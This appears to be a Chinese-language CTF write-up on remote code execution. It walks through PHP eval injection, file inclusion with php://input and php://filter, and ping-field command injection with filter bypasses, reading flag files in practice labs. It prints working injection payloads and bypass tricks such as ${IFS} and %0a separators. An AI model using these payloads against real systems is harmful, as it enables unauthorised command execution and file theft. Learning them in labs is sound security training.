web基础之RCE
简介:RCE称为远程代码执行漏洞;是互联网的一种安全漏洞;攻击者可以直接向后台服务器远程注入操作系统命令;从而操控后台系统;也是CTF比较常考的一个方面
1、eval执行
(1)分析后端代码:if (isset($_REQUEST['cmd']))
检查是否从存在cmd参数;eval($_REQUEST["cmd"])
如果cmd参数存在的话,则eval()函数会将用户传递进来的参数当作php代码执行!
(2)查看网站当前目录
/?cmd=system(“ls”);
页面回显出来了index.php信息;并没有有用的文件;我们看一下上一级目录有啥文件吧;输入
/?cmd=system(“ls /”);
好像找到了有关flag的信息
查看文件的信息
?cmd=system("cat /flag_26015");
拿到flag
2、文件包含
文件包含
(1)分析后端代码
根据后端代码;首先输入?file=shell.txt;发现出现了eval函数;和上面不同的是通过post提交数据的;需要用hackbar插件或者通过bp抓包重发修改信息
(2)查看当前的目录文件(发现了index.php;shell.txt)
查看上一级目录的信息(看到etc flag文件)
ctfhub=system("ls /")
查看flag;输入
ctfhub=system("cat /flag");
php://input伪协议
(1)php://input
php://input用于执行php代码;条件是allow_url_include是On
;查看phpinfo文件;查看发现满足条件,直接利用!
(2)使用bp抓包;发送到重发器模块当中;修改为post请求方式;增加<?php system('ls /');?>
点击send看到上一级目录有flag信息
修改为<?php system("cat /flag_27289");?>
拿到flag
远程包含
(1)发现有phpinfo文件;进去看看;可以进行远程包含(allow_url_include=ON)
;可以使用php://input执行php函数
(2)利用hackbar插件(这里用不了;因为提交数据的方式是GET;只能用bp抓包重放修改信息
)
过程:url+?file=php://input
;点击抓包;发送到repeater模块;然后修改GET为post;增加<?php system("ls /");?>
;点击send;获得上一级目录信息;看到flag信息
修改playload:<?php system("cat /flag");?>
;拿下flag
读取源代码
(1)这是尝试了一下php://input;发现漏洞点不在这;那可能就是php://filter;php://filter用于读取源码
(2)
题目提示:flag在 /flag当中;所以直接构造?file=php://filter/resource=../../../flag
http://URL/?file=php://filter/resource=../../../flag
3、命令注入
先导知识:
命令注入无过滤
(1)明确题目意思;查看当前目录下的文件
127.0.0.1|ls
使用cat 命令查看207971175014811.php
文件;发现打不开;f12直接查看源码直接拿到flag;大佬的另一种方法就是使用base64解密
127.0.0.1|cat 14430616024597.php|base64
base64解密拿到flag
过滤cat
(1)cat命令被过滤了,在linux当中查看文件内容的命令有很多;比如 more head tail less;
eg:cat 由第一行开始显示内容,并将所有内容输出 tac 从最后一行倒序显示内容,并将所有内容输出 more 根据窗口大小,一页一页的现实文件内容 less 和more类似,但其优点可以往前翻页,而且进行可以搜索字符 head 只显示头几行 tail 只显示最后几行
输入:127.0.0.1& more flag_90501846017901.php|base64
解密拿到flag
过滤空格
分析后端代码发现对空格进行了过滤;使用<;ifs ${IFS} %0d 等等代替空格(参考web渗透—RCE)127.0.0.1&cat<flag_20135747217897.php|base64
过滤目录分隔符
输入127.0.0.1;ls
,发现了flag_is_here目录;然后进入这个目录;查看这个目录包含的文件;输入127.0.0.1;cd flag_is_here;ls
;发现了flag_4635141399483.php;输入:127.0.0.1;cd flag_is_here;cat flag_4635141399483.php|base64
,拿到flag;或者直接f12
过滤运算符
发现用不了运算符号了;那就使用;
;然后输入127.0.0.1;cat flag_29492699725561.php
直接f12查看源码;或者输入127.0.0.1 ; base64 flag_29492699725561.php
直接得到flag
综合过滤练习自行寻找替换;很简单!为减少篇幅,此处不做过多赘述!
(1)查看服务器下的文件&& <==> || <==> %0a <==> %0d
?ip=127.0.0.1%0als
空格<==>%09(tab)<==>${IFS}<==>$IFS<==>$IFS$9<==><
(2)查看存在flag文件目录下的文件
?ip=127.0.0.1%0acd${IFS}f***_is_here${IFS}%0als
(3)查看flag文件的内容
?ip=127.0.0.1%0acd${IFS}f***_is_here${IFS}%0a${IFS}more${IFS}f***_236832160630622.php